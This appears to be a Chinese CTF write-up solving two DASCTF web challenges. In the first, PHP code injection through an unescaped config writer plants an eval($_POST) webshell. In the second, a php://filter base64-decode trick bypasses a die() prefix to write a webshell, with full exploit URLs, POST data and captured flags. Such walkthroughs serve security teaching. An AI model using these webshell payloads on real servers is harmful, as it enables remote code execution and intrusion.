1、writeshell
- 题目说明
简简单单的代码审计,简简单单的writeshell
题目打开发现如下源码:
<?php
highlight_file(__FILE__);
$res=["hacker"=>$_GET['cmd']];
$code = '<?php return [';
foreach ($res as $key => $value)
{
$code .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$code .= ']; ';
file_put_contents("shell.php",$code);
?>
首先通过源码分析发现php文件的主要功能就是先写入<?php return [
,然后通过''=>''
这种键值对方式写入,最后再拼接];
那么既然是字符串拼接,那么就是通过value这部分可控的字符串进行闭合并添加需要执行的语句,
- payload1:
payload = 123'];phpinfo();//
构造code变量如下:
<?php return ['hacker'=>'123'];phpinfo();//']?>
执行发现不显示phpinfo内容,看来这个和之前绕过die函数是一样的,return导致php文件后面的语句得不到执行,那么就必须考虑同时执行,然后想到了if判断时候的逻辑运算
<?php
$a=2;
$b=3;
if ($a==2 && $b==3) {
echo 1; //两个判断都为真的情况,输出数字1
echo "<br>";
}
if ($a==2 || $b==2) {
echo 2; //a判断为真,输出数字2
echo "<br>";
}
if ($a==3 || $b==3) {
echo 3; //b判断为真,输出数字3
}
但是||
存在短路运算情况,即第一个条件为真,后面的条件就不进行计算以提升程序执行效率,经过测试&&
可以,||
不可以
- payload2
payload = 123']&&phpinfo();//
但是如果直接这样写,因为&为http请求参数拼接的特殊符号,导致只能传递进行123']
正确姿势需要将& urlencode %26
payload = 123']%26%26phpinfo();//
构造code变量如下:
<?php return ['hacker'=>'123']&&phpinfo();//']?>
发现可以执行,然后换真实环境
- payload3
123']&&eval($_POST[1]);//
123']%26%26eval($_POST[1]);//
exp:
http://80.endpoint-bc97ee38f96e4ac794402216fdf31ebf.m.ins.cloud.dasctf.com:81/?cmd=123%27]%26%26eval($_POST[1]);//
getshell成功:
大神还提供一个payload,利用 ==
进行逻辑运算在一条命令中构造webshell
123']==eval($_POST[1]);//
<?php return ['hacker'=>'123']==eval($_POST[1]);//']?>
然后得到flag如下:
DASCTF{21459737950080111535916345999360}
2、write
题目描述
网站被黑了,还好做了备份!
题目打开网页发现如下内容:
受到黑客攻击,本网站正在维护中。
网站每日备份,请各位用户放心,数据并未丢失!
通过两次提示备份问题,怀疑在根目录中存在备份文件,一般就是www.zip web.zip app.zip
这样压缩包,测试发现www.zip然后下载得到源码,发现大量的php文件,然后通过D盾扫描发现一个shell文件WXJBcYlqe.php
文件内容如下:
<?php
error_reporting(0);
$file = '<?php die("想屁呢,别搞我!"); ?>';
$file .= $_POST['file'];
file_put_contents($_POST['name'], $file);
这不就是php伪协议绕过死亡die函数,通过base64-decode将die转化乱码,以达到去除die的效果
name=php://filter/convert.base64-decode/resource=1.php
file=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ base64(<?php eval($_POST[1]);?>)
不过这个地方有一个坑点就是base64-decode相当于将4个字符转为3个字符,那么一句话webshell前面的字符就必须是4的倍数,否则base64-decode就会导致payload不正常,一般直接payload填充一些字符,如
file=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ (填充1个a)
file=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ (填充2个a)
具体填充情况一般在本地进行测试,这个题目中需要填充2个字符,那么payload如下:
http://80.endpoint-ddbc222f17d546b597eb7c30d26f7cbb.m.ins.cloud.dasctf.com:81/WXJBcYlqe.php
post_data:
name=php://filter/convert.base64-decode/resource=1.php&file=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
发现getshell成功
获取flag如下:
DASCTF{02824663775136194288800391422979}